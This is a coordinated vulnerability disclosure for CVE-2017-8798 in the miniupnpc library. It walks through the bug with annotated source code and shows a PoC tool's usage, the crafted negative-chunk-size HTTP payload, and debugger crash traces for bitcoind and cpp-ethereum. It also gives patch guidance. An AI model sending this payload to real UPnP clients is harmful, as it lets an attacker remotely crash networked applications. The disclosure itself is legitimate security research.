miniupnpc 2.0.20170421 Denial Of Service
Posted on 13 May 2017
Author: <github.com/tintinweb> Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-8798 Version: 0.6 Date: May 1st, 2017 Tag: miniupnp miniupnpc getHTTPResponse chunked encoding integer signedness error Overview -------- Name: miniupnpc Vendor: Thomas Bernard References: * http://miniupnp.free.fr/ [1] Version: v2.0 [2] Latest Version: v2.0.20170421 [2][3] Other Versions: >= v1.4.20101221 [2] (released 21/12/2010; ~6 years ago) Platform(s): cross Technology: c Vuln Classes: CWE-196, CWE-190 Origin: remote Min. Privs.: --- CVE: CVE-2017-8798 Description --------- quote website [1] >UPnP IGD client lightweight library and UPnP IGD daemon >The UPnP protocol is supported by most home adsl/cable routers and Microsoft Windows 2K/XP. The aim of the MiniUPnP project is to bring a free software solution to support the "Internet Gateway Device" part of the protocol. The MediaServer/MediaRenderer UPnP protocol (DLNA) is also becoming very popular but here we are talking about IGD. ReadyMedia (formely known as MiniDLNA) is a UPnP Media Server using some UPnP code from MiniUPnPd. miniupnp is part of many applications / embedded network devices * P2P File Sharing software * Network Device Firmware * Blockchain clients * ... Summary ------- *TL;DR - one-click crash miniupnpc based applications on your network* #### Integer signedness error in miniupnpc allows remote attackers to cause a denial of service condition via specially crafted HTTP response An integer signedness error was found in miniupnp's `miniwget` allowing an unauthenticated remote entity typically located on the local network segment to trigger a heap corruption or an access violation in miniupnp's http response parser when processing a specially crafted chunked-encoded response to a request for the xml root description url. To exploit this vulnerability, an attacker only has to provide a chunked-encode HTTP response with a negative chunk length to upnp clients requesting a resource on the attackers webserver. Upnp clients can easily be instructed to request resources on the attackers webserver by answering SSDP discovery request or by issueing SSDP service notifications (low complexity, integral part of the protocol). * remote, unauthenticated, `ACCESS_VIOLATION_READ` and heap corruption * (confirmed) DoS; (unconfirmed) other impacts see attached PoC see proposed patch Details ------- The vulnerable component is a HTTP file download method called `miniwget` (precisely `getHTTPResponse`) that fails to properly handle invalid chunked-encoded HTTP responses. The root cause is a bounds check that mistakenly casts an unsigned attacker-provided chunksize to signed int leading to an incorrect decision on the destination heap buffer size when copying data from the server response to an internal buffer. The attacker controls both the size of the internal buffer as well as the number of bytes to copy. In order for this attack to succeed, the number of bytes to copy must be negative. attacker controls: * `int content_length` * `unsigned int chunksize` * `bytestocopy` if `(int) chunksize` is negative (or at least < `n-i` ~ 1900 bytes) * length of `content_buf` if `bytestocopy` is negative In the end, the attacker controls * `realloc(content_buf, content_length)` * `memcpy(content_buf+x, http_response, chunksize)` client (miniupnpc) server (poc.py) | | | | | SSDP: Discovery - M-SEARCH | 1. | --------------------------------------> | | | | SSDP: Reply - Location Header | 2. | <-------------------------------------- | | | | GET (Location Header/xxxx.xml) | 3. | --------------------------------------> | | | | HTTP chunked-encoded reply | 4. | <-------------------------------------- | | | 1. application performs SSDP discovery via M-SEARCH (multicast, local network segment) 2. poc.py responds with the url to the xml root description requesting the application to navigate to the malicious webserver. 3. application requests xml root description url (taken from reply to M-SEARCH, Location Header) on malicious webserver (poc.py) 4. poc.py responds with a specially crafted http response triggering the heap overwrite in miniupnp #### Source *Note:* Inline annotations are prefixed with //#! *Note:* This is a stripped down version of the vulnerable code. For full details see https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-8798 `miniwget.c:236` [4] * A) 1. to 3. is the parsing of the chunksize * B) 4. to 5. integer signedness error * C) 6. integer wrapping * D) 7. to 9. destination buffer size * E) 10. heap overwrite with size in bytestocopy ... //#! 4) //#! goal: a) bytestocopy becomes negative due to chunksize being negative //#! b) content_length defines destination buffer size //#! c) overwrite destination heap buffer content_buf[content_length] with bytestocopy bytes from request //#! memcopy(content_buf[content_length], req_body, (unsigned)bytestocopy) //#! bytestocopy = ((int)chunksize < (n - i))?chunksize:(unsigned int)(n - i); //#! 5) boom! - bytestocopy becomes chunksize since chunksize is negative (e.g. -1) if((content_buf_used + bytestocopy) > content_buf_len) //#! 6) true, since bytestocopy is negative, wraps unsigned content_buf_used { char * tmp; if(content_length >= (int)(content_buf_used + bytestocopy)) { //#! 7) content_length is attacker controlled. content_buf_len = content_length; //#! 8) we want content_length to define our dst buffer size (e.g. 1) } else { //#! if we dont hit this, content_buf_len would likely be ~2k content_buf_len = content_buf_used + bytestocopy; } tmp = realloc(content_buf, content_buf_len); //#! 9) realloc to content_length bytes (e.g. 9000) if(tmp == NULL) { /* memory allocation error */ free(content_buf); free(header_buf); *size = -1; return NULL; } content_buf = tmp; } memcpy(content_buf + content_buf_used, buf + i, bytestocopy); //#! 10) boom heap overwrite with bytesttocopy bytes (e.g. (unsigned)-1) to content_length (e.g. 9000) sized buffer content_buf_used += bytestocopy; //#! (also an out of bounds ready since it has not been checked if buf holds enough bytes) i += bytestocopy; chunksize -= bytestocopy; #### Taint Graph basically all `miniwget*` and `UPNP_*` methods. * getHTTPResponse (vulnerable) * miniwget3 * miniwget2 * miniwget * miniwget_getaddr * UPNP_GetIGDFromUrl * UPNP_GetValidIGD * UPnP_selectigd * UPNP_Get* * UPNP_Check* * UPNP_Delete* * UPNP_Update* * UPNP_Add* #### Scenarios The PoC can be configured for three scenarios: ##### 1) SCENARIO_CRASH_LARGE_MEMCPY Similar to 3) attempts to smash the heap but likely fails with an `ACCESS_VIOLATION_READ` when trying to read from an non-accessible memory region. details see [7] ##### 2) SCENARIO_CRASH_REALLOC_NULLPTR Miniupnp v1.8 was missing an error check for `realloc` which can be used to cause a DoS condition when making `realloc` fail while allocating a large chunk of data. When `realloc` fails - because the requested size of memory cannot be allocated - it returns a `nullptr`. Miniupnp ~1.8 was missing a check for the `nullptr` and tried to `memcpy` bytes from the attackers http response to that `nullptr` which fails with an `ACCESS_VIOLATION`. To provoke this scenario one must provide an arbitrarily large `content_length` (e.g. `0x7fffffff` likely fails on 32 bits) and make `memcpy` attempt to copy a byte to that location. ##### 3) SCENARIO_CRASH_1_BYTE_BUFFER The idea is to create a small heap buffer and overwrite it with a large chunk of data. This can be achieved by instructing miniupnp to `realloc` `content_buf` to a size of `1 byte` by providing a `content-length` of `1`. To overwrite this 1 byte buffer the attacker provides a negative chunksize e.g. `0x80000000`. Depending on the implementation of `memcpy` and the memory layout `memcpy` will either fail with a `ACCESS_VIOLATION_READ` as we're only providing <= 2048 bytes with the server response and will most certainly hit a non-accessible memory region while copying `0x80000000` bytes or the application crashes because of a heap corruption. Here's an example of `miniupnpc` corrupting the heap when compiled for 32 bit platforms. AC/Ao 0x80504de <getHTTPResponse+1912> call memcpy@plt <0x8048a20> dest: 0x805981f AC/AC/ 0x0 //#! <--- size 1 - attacker controlled content_buf src: 0xffffb77e AC/AC/ 0x41414141 ('AAAA') //#! <--- attacker controlled http response n: 0x80000000 //#! <--- attacker controlled (must be negative) bytestocopy pwndbg> i lo i = 30 buf = "f <xml>BOOM</x"... n = <optimized out> endofheaders = 91 chunked = 1 content_length = 1 chunksize = 2147483648 bytestocopy = 2147483648 //#! <--- nr of bytes to copy from buf header_buf = 0x8059008 "HTTP/1.1 200 OK"... header_buf_len = 2048 header_buf_used = <optimized out> content_buf = 0x8059810 "<xml>BOOM</x351a 02" content_buf_len = 1 //#! <--- destination, realloc'd to 1 content_buf_used = 15 chunksize_buf = " 00 60 60 60 60 60 60 60 00267377377p12"... chunksize_buf_index = <optimized out> reason_phrase = 0x0 reason_phrase_len = 0 //#! ### before memcpy pwndbg> hexdump content_buf 100 +0000 0x8059810 3c 78 6d 6c 3e 42 4f 4f 4d 3c 2f 78 e9 07 02 00 AC/<xmlAC/>BOOAC/M</xAC/....AC/ +0010 0x8059820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AC/....AC/....AC/....AC/....AC/ ... +0060 0x8059870 00 00 00 00 AC/....AC/ AC/ AC/ AC/ +0064 0x8059874 //#! ### after memcpy pwndbg> hexdump content_buf 100 +0000 0x8059810 3c 78 6d 6c 3e 42 4f 4f 4d 3c 2f 78 e9 07 02 41 AC/<xmlAC/>BOOAC/M</xAC/...AAC/ +0010 0x8059820 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AC/AAAAAC/AAAAAC/AAAAAC/AAAAAC/ ... +0060 0x8059870 41 41 41 41 AC/AAAAAC/ AC/ AC/ AC/ +0064 0x8059874 Proof of Concept ---------------- Prerequisites: * any software that compiles with `miniupnpc`, calls `miniwget.c::miniwget()` or any of the `UPNP_` methods - e.g. bitcoind (with -upnp), qBittorrent on startup * `poc.py`, python 2.7, tested on windows and linux (disable firewall or allow inbound tcp:65000, udp:1900) Usage: usage: poc.py [options] example: poc.py --listen <your_local_ip>:65000 [--havoc | --target <ip> [<ip>..]] optional arguments: -h, --help show this help message and exit -q, --quiet be quiet [default: False] -l LISTEN, --listen LISTEN local httpserver listen ip:port. Note: 0.0.0.0:<port> is not allowed. This ip is being used in the SSDP response Location header. -u USN, --usn USN Unique Service Name. -t [TARGET [TARGET ...]], --target [TARGET [TARGET ...]] Specify a list of client-ips to attack. Use --havoc to attempt to crash all clients. -z, --havoc Attempt to attack all clients connecting to our http server. Use at your own risk. run PoC * local listen ip:port for the malicious web server: 192.168.2.104:65000 (your_local_ip) * only attempt to crash client 192.168.2.113 (use --havoc instead of --target to disable whitelist) #> poc.py --listen <your_local_ip>:65000 --target 192.168.2.113 [poc.py - main() ][ INFO] _ _ _____ _____ _____ _____ / |/ | | | | _ | | | _ | ___ ___ _____ ___ ___ ___ / // / | | | __| | | | __| _ _ _ | | . | | | . | _| -_| |_/|_/ |_____|__| |_|___|__| |_|_|_| |_|_|___| |_|_|_|___|_| |___ //github.com/tintinweb [mode ] a filter (targeting ['192.168.2.113']) [listen] d 192.168.2.104:65000 (local http server listening ip) [usn ] a1 uuid:deadface-dead-dead-dead-cafebabed00d::upnp:rootdevice [poc.py - main() ][ DEBUG] spawning webserver: <BadHttpServer bind=('192.168.2.104', 65000)> [poc.py - __init__() ][ DEBUG] [SSDP] bind: 0.0.0.0:1900 [poc.py - listen() ][ INFO] [HTTP] bind 192.168.2.104:65000 [poc.py - __init__() ][ DEBUG] [SSDP] add membership: UDP/239.255.255.250 [poc.py - register_callback() ][ DEBUG] [SSDP] add callback for 'M-SEARCH' : <function handle_msearch at 0x027B9270> [poc.py - listen() ][ INFO] [HTTP] waiting for connection [poc.py - register_callback() ][ DEBUG] [SSDP] add callback for 'NOTIFY' : <function handle_notify at 0x027B9330> [poc.py - listen() ][ DEBUG] [SSDP] listening... [poc.py - listen() ][ INFO] [ ] connection from: ('192.168.2.113', 43810) [poc.py - listen() ][ DEBUG] GET /xxxx.xml HTTP/1.1 Host: 192.168.2.104:65000 Connection: Close User-Agent: CentOS/7.2.1511, UPnP/1.1, MiniUPnPc/2.0 [poc.py - send() ][ DEBUG] HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Length: 9041 Content-Type: text/html f <xml>BOOM</xml> 80000000 AAAAAAAAAAAAAAAA... //#! Repeated 9k times. 3 bye 0 [poc.py - send() ][ WARNING] [----->] BOOM! payload delivered! - [to:('192.168.2.113', 43810)] <HttpLikeMessage msg=('HTTP/1.1', '200', 'OK') header={'Transfer-Encoding': 'chunked', 'Content-Length': 9041, 'Content-Type': 'text/html'} body='f <xml>BOOM</xml> 80000000 AAAA...<omitted>...AAAA 3 bye 0'> [poc.py - listen() ][ INFO] waiting for connection #### A) miniupnpc v2.0 [tin@localhost miniupnpc]$ gdb --args ./upnpc-static -u http://192.168.2.104:65000/xxxx.xml -d -s ... (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/tin/miniupnp/miniupnpc/./upnpc-static -u http://192.168.2.104:65000/xxxx.xml -d -s upnpc : miniupnpc library test client, version 2.0. (c) 2005-2016 Thomas Bernard. Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/ for more information. parsed url : hostname='192.168.2.104' port=65000 path='/xxxx.xml' scope_id=0 address miniwget : 192.168.2.113 header='Transfer-Encoding', value='chunked' chunked transfer-encoding! header='Content-Length', value='9041' //#! user provided content length (valid) Content-Length: 9041 header='Content-Type', value='text/html' chunksize = 15 (f) chunksize = 2147483648 (80000000) //#! user provided chunk size 0x80000000 Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7b631a6 in __memcpy_ssse3_back () from /lib64/libc.so.6 (gdb) up #1 0x000000000040897f in getHTTPResponse (s=s@entry=7, size=size@entry=0x7fffffffd59c, status_code=status_code@entry=0x0) at miniwget.c:306 306 memcpy(content_buf + content_buf_used, buf + i, bytestocopy); (gdb) bt #0 0x00007ffff7b631a6 in __memcpy_ssse3_back () from /lib64/libc.so.6 #1 0x000000000040897f in getHTTPResponse (s=s@entry=7, size=size@entry=0x7fffffffd59c, status_code=status_code@entry=0x0) at miniwget.c:306 #2 0x0000000000408d5c in miniwget3 (host=host@entry=0x7fffffffd500 "192.168.2.104", port=<optimized out>, path=0x7fffffffe73c "/xxxx.xml", size=size@entry=0x7fffffffd59c, addr_str=addr_str@entry=0x7fffffffe320 "192.168.2.113", addr_str_len=addr_str_len@entry=64, httpversion=httpversion@entry=0x40b665 "1.1", scope_id=0, status_code=status_code@entry=0x0) at miniwget.c:468 #3 0x00000000004091f1 in miniwget2 (status_code=0x0, scope_id=<optimized out>, addr_str_len=64, addr_str=0x7fffffffe320 "192.168.2.113", size=0x7fffffffd59c, path=<optimized out>, port=<optimized out>, host=0x7fffffffd500 "192.168.2.104") at miniwget.c:484 #4 miniwget_getaddr (url=url@entry=0x7fffffffe722 "http://192.168.2.104:65000/xxxx.xml", size=size@entry=0x7fffffffd59c, addr=addr@entry=0x7fffffffe320 "192.168.2.113", addrlen=addrlen@entry=64, scope_id=scope_id@entry=0, status_code=status_code@entry=0x0) at miniwget.c:659 #5 0x00000000004043f1 in UPNP_GetIGDFromUrl (rootdescurl=rootdescurl@entry=0x7fffffffe722 "http://192.168.2.104:65000/xxxx.xml", urls=urls@entry=0x7fffffffd6a0, data=data@entry=0x7fffffffd790, lanaddr=lanaddr@entry=0x7fffffffe320 "192.168.2.113", lanaddrlen=lanaddrlen@entry=64) at miniupnpc.c:708 #6 0x0000000000401f69 in main (argc=<optimized out>, argv=0x7fffffffe478) at upnpc.c:690 (gdb) i lo i = 30 buf = "f <xml>BOOM</xml> 80000000 ", 'A' <repeats 1418 times>... n = 1354 endofheaders = 94 chunked = 1 //#! chunked-encoding mode content_length = 9041 //#! user provided content-length (valid) chunksize = 2147483648 //#! user provided chunk-size (invalid, 0x80000000) bytestocopy = 2147483648 //#! is our chunk-size. used in call to memcpy as the number of bytes to copy. header_buf = 0x610010 "HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Length: 9041 Content-Type: text/html f <xml>BOOM</xml> 80000000 ", 'A' <repeats 76 times>... header_buf_len = 2048 header_buf_used = 1448 content_buf = 0x610820 "<xml>BOOM</xml>" content_buf_len = 9041 //#! has been reallocated to content-length (otherwise this would be ~2k) content_buf_used = 15 chunksize_buf = " 00 60 60 60 60 60 60 60 00311377377377177 00 00313305@ 00 00 00 00 00 05 00 00 00 00 00 00" chunksize_buf_index = 0 reason_phrase = 0x0 reason_phrase_len = 0 #### B) cpp-ethereum v1.3.0 [tin@localhost miniupnpc]$ gdb --args eth -v 9 ... (gdb) r Starting program: /usr/bin/eth -v 9 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". cpp-ethereum, a C++ Ethereum client ... 05:57:56 PM.351|eth Reading /home/... AC/ASS AC/ A1 05:57:56 PM.358|eth Id: ##013a7f1fAC/A| [New Thread 0x7fffe6191700 (LWP 9306)] ... 05:57:56 PM.371|eth Opened blockchain DB. Latest: #5203fef2AC/A| (rebuild not needed) [New Thread 0x7fffe5990700 (LWP 9307)] ... 05:57:56 PM.374|eth Opened state DB. [New Thread 0x7fffe4e2a700 (LWP 9308)] AC/ASSA<< AC/ 05:57:56 PM.375|eth startedWorking() cpp-ethereum 1.3.0 By cpp-ethereum contributors, (c) 2013-2016. See the README for contributors and credits. Transaction Signer: XE50000000000000000000000000000000 (00000000-0000-0000-0000-000000000000 - 00000000) Mining Beneficiary: XE50000000000000000000000000000000 (00000000-0000-0000-0000-000000000000 - 00000000) Foundation: XX55PXQKKKXB9BYPBXT1XCYW6R5ELFAT6EM (00000000-0000-0000-0000-000000000000 - de0b2956) [New Thread 0x7fffd7fff700 (LWP 9309)] [New Thread 0x7fffd77fe700 (LWP 9310)] AC/ A1 05:58:00 PM.757|p2p UPnP device: http://192.168.2.104:65000/xxxx.xml [st: urn:schemas-upnp-org:device:InternetGatewayDevice:1 ] Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7fffd7fff700 (LWP 9309)] 0x00007ffff3feb0a9 in __memcpy_ssse3_back () from /lib64/libc.so.6 (gdb) #0 0x00007ffff3feb0a9 in __memcpy_ssse3_back () from /lib64/libc.so.6 #1 0x00007ffff4a8bfce in getHTTPResponse () from /lib64/libminiupnpc.so.16 #2 0x00007ffff4a8c43f in miniwget3.constprop.0 () from /lib64/libminiupnpc.so.16 #3 0x00007ffff4a8c873 in miniwget () from /lib64/libminiupnpc.so.16 #4 0x00007ffff62cb97f in dev::p2p::UPnP::UPnP() () from /lib64/libp2p.so #5 0x00007ffff633d2d0 in dev::p2p::Network::traverseNAT(std::set<boost::asio::ip::address, std::less<boost::asio::ip::address>, std::allocator<boost::asio::ip::address> > const&, unsigned short, boost::asio::ip::address&) () from /lib64/libp2p.so #6 0x00007ffff62eed05 in dev::p2p::Host::determinePublic() () from /lib64/libp2p.so #7 0x00007ffff62ef3b3 in dev::p2p::Host::startedWorking() () from /lib64/libp2p.so #8 0x00007ffff610e979 in dev::Worker::startWorking()::{lambda()#1}::operator()() const () from /lib64/libdevcore.so #9 0x00007ffff4831220 in ?? () from /lib64/libstdc++.so.6 #10 0x00007ffff72cddc5 in start_thread () from /lib64/libpthread.so.0 #11 0x00007ffff3f97ced in clone () from /lib64/libc.so.6 #### D) bitcoind 0.14.1 (linux) #> srcitcoind -upnp -printtoconsole pwndbg> bt #0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:36 #1 0x00007ffff6abe91e in getHTTPResponse () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10 #2 0x00007ffff6abed22 in ?? () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10 #3 0x00007ffff6abf12d in miniwget_getaddr () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10 #4 0x00007ffff6ac0f9e in UPNP_GetValidIGD () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10 #5 0x000055555560ee0b in ThreadMapPort () at net.cpp:1446 #6 0x0000555555622e44 in TraceThread<void (*)()> (name=0x555555a81767 "upnp", func=0x55555560ed3a <ThreadMapPort()>) at util.h:218 #7 0x0000555555689c4e in boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> >::operator()<void (*)(char const*, void (*)()), boost::_bi::list0> (this=0x5555561544c0, f=@0x5555561544b8: 0x555555622dc2 <TraceThread<void (*)()>(char const*, void (*)())>, a=...) at /usr/include/boost/bind/bind.hpp:313 #8 0x000055555568996a in boost::_bi::bind_t<void, void (*)(char const*, void (*)()), boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> > >::operator() (this=0x5555561544b8) at /usr/include/boost/bind/bind_template.hpp:20 #9 0x00005555556896eb in boost::detail::thread_data<boost::_bi::bind_t<void, void (*)(char const*, void (*)()), boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> > > >::run (this=0x555556154300) at /usr/include/boost/thread/detail/thread.hpp:117 #10 0x00007ffff753aaea in ?? () from /usr/lib/x86_64-linux-gnu/libboost_thread.so.1.55.0 #11 0x00007ffff5c3a064 in start_thread (arg=0x7fffd97fa700) at pthread_create.c:309 #12 0x00007ffff596f62d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111 Mitigation / Workaround / Discussion ------------------------------------- * update to miniupnpc-2.0.20170509.tar.gz * disable upnp *Note*: patch see [7] Notes ----- * Vendor acknowledgement / Miniupnp Changelog [5] * Thanks to the miniupnp project for providing a fixed version within ~1 week! * This research/disclosure was coordinated in cooperation with the ethereum foundation at ethereum.org. Thanks, it was a pleasure working with you! References ---------- [1] http://miniupnp.free.fr/ [2] http://miniupnp.free.fr/files/ [3] https://github.com/miniupnp/miniupnp/tree/master [4] https://github.com/miniupnp/miniupnp/blob/master/miniupnpc/miniwget.c#L236 [5] http://miniupnp.free.fr/files/changelog.php?file=miniupnpc-2.0.20170509.tar.gz [6] https://github.com/miniupnp/miniupnp/commit/f0f1f4b22d6a98536377a1bb07e7c20e4703d229 [7] https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-8798 Contact ------- https://github.com/tintinweb
